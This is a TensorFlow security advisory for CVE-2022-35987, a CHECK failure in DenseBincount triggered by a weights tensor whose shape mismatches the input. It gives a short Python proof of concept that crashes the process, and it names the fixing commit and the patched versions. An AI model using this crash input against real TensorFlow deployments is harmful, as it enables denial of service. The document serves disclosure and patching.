CHECK fail in DenseBincountCVE-2022-35987
DenseBincount assumes its input tensor weights to either have the same shape as its input tensor input or to be length-0. A different weights shape will trigger a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf binary_output = True input = tf.random.uniform(shape=[0, 0], minval=-10000, maxval=10000, dtype=tf.int32, seed=-2460) size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000) tf.raw_ops.DenseBincount(input=input, size=size, weights=weights, binary_output=binary_output)
We have patched the issue in GitHub commit bf4c14353c2328636a18bfad1e151052c81d5f43.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University